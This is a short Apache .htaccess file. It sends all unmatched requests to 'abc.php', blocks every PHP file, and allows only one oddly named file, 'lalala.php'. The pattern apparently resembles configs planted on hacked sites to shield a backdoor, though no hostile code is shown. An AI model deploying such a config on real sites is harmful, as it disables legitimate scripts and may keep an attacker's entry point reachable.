<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^abc.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . abc.php [L]
</IfModule>
<FilesMatch ".*\.(phtml|php)$">
Order Allow,Deny
Deny from all
</FilesMatch>
<FilesMatch "(lalala).php$">
Order Allow,Deny
Allow from all
</FilesMatch>